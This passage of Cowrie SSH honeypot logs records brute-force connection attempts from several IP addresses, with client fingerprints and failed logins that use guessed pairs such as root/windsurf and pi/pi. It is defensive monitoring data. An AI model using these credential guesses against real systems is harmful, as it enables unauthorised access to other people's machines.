{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:31.095262Z","src_ip":"103.75.199.4","session":"3eee9bc2adda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:31.190396Z","src_ip":"103.75.199.4","session":"3eee9bc2adda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:31.490879Z","src_ip":"103.75.199.4","session":"3eee9bc2adda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:32.588366Z","src_ip":"103.75.199.4","session":"3eee9bc2adda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":37260,"dst_ip":"10.17.0.5","dst_port":22,"session":"7589cd34e2e6","protocol":"ssh","message":"New connection: 163.7.9.84:37260 (10.17.0.5:22) [session: 7589cd34e2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:32.789890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:32.795304Z","src_ip":"163.7.9.84","session":"7589cd34e2e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:33.049491Z","src_ip":"163.7.9.84","session":"7589cd34e2e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36062,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a174ca451c","protocol":"ssh","message":"New connection: 43.163.119.215:36062 (10.17.0.5:22) [session: e6a174ca451c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:33.703907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:33.708130Z","src_ip":"43.163.119.215","session":"e6a174ca451c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:33.946695Z","src_ip":"43.163.119.215","session":"e6a174ca451c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:34.083711Z","src_ip":"163.7.9.84","session":"7589cd34e2e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:34.663807Z","src_ip":"43.163.119.215","session":"e6a174ca451c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:35.337139Z","src_ip":"163.7.9.84","session":"7589cd34e2e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:35.905507Z","src_ip":"43.163.119.215","session":"e6a174ca451c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":36508,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d75590276d4","protocol":"ssh","message":"New connection: 205.209.121.72:36508 (10.17.0.5:22) [session: 9d75590276d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:37.254523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:37.259062Z","src_ip":"205.209.121.72","session":"9d75590276d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:37.268388Z","src_ip":"205.209.121.72","session":"9d75590276d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:37.323075Z","src_ip":"205.209.121.72","session":"9d75590276d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:38.332084Z","src_ip":"205.209.121.72","session":"9d75590276d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.109.219.135","src_port":47224,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eddfec2d2bf","protocol":"ssh","message":"New connection: 101.109.219.135:47224 (10.17.0.5:22) [session: 4eddfec2d2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:42.838489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:42.844020Z","src_ip":"101.109.219.135","session":"4eddfec2d2bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:43.101858Z","src_ip":"101.109.219.135","session":"4eddfec2d2bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"windsurf","message":"login attempt [root/windsurf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:44.163144Z","src_ip":"101.109.219.135","session":"4eddfec2d2bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:45.422595Z","src_ip":"101.109.219.135","session":"4eddfec2d2bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":48124,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c3bac2ff264","protocol":"ssh","message":"New connection: 154.83.196.237:48124 (159.203.135.109:22) [session: 1c3bac2ff264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:45.602174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:45.610711Z","src_ip":"154.83.196.237","session":"1c3bac2ff264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:45.731377Z","src_ip":"154.83.196.237","session":"1c3bac2ff264","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marcella","message":"login attempt [root/marcella] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:46.244132Z","src_ip":"154.83.196.237","session":"1c3bac2ff264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:47.367228Z","src_ip":"154.83.196.237","session":"1c3bac2ff264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57386,"dst_ip":"159.203.135.109","dst_port":22,"session":"be75d1950e48","protocol":"ssh","message":"New connection: 103.75.199.4:57386 (159.203.135.109:22) [session: be75d1950e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:52.953980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:52.958258Z","src_ip":"103.75.199.4","session":"be75d1950e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:53.048612Z","src_ip":"103.75.199.4","session":"be75d1950e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:53.319699Z","src_ip":"103.75.199.4","session":"be75d1950e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:13:54.412183Z","src_ip":"103.75.199.4","session":"be75d1950e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":44592,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7beb5fc8f44","protocol":"ssh","message":"New connection: 43.153.46.75:44592 (159.203.135.109:22) [session: f7beb5fc8f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:03.323334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:03.332447Z","src_ip":"43.153.46.75","session":"f7beb5fc8f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:03.400875Z","src_ip":"43.153.46.75","session":"f7beb5fc8f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liza","message":"login attempt [root/liza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:03.708553Z","src_ip":"43.153.46.75","session":"f7beb5fc8f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":45406,"dst_ip":"10.17.0.5","dst_port":22,"session":"78d7da6a273f","protocol":"ssh","message":"New connection: 43.163.119.215:45406 (10.17.0.5:22) [session: 78d7da6a273f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:04.752480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:04.757695Z","src_ip":"43.163.119.215","session":"78d7da6a273f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:04.779892Z","src_ip":"43.153.46.75","session":"f7beb5fc8f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 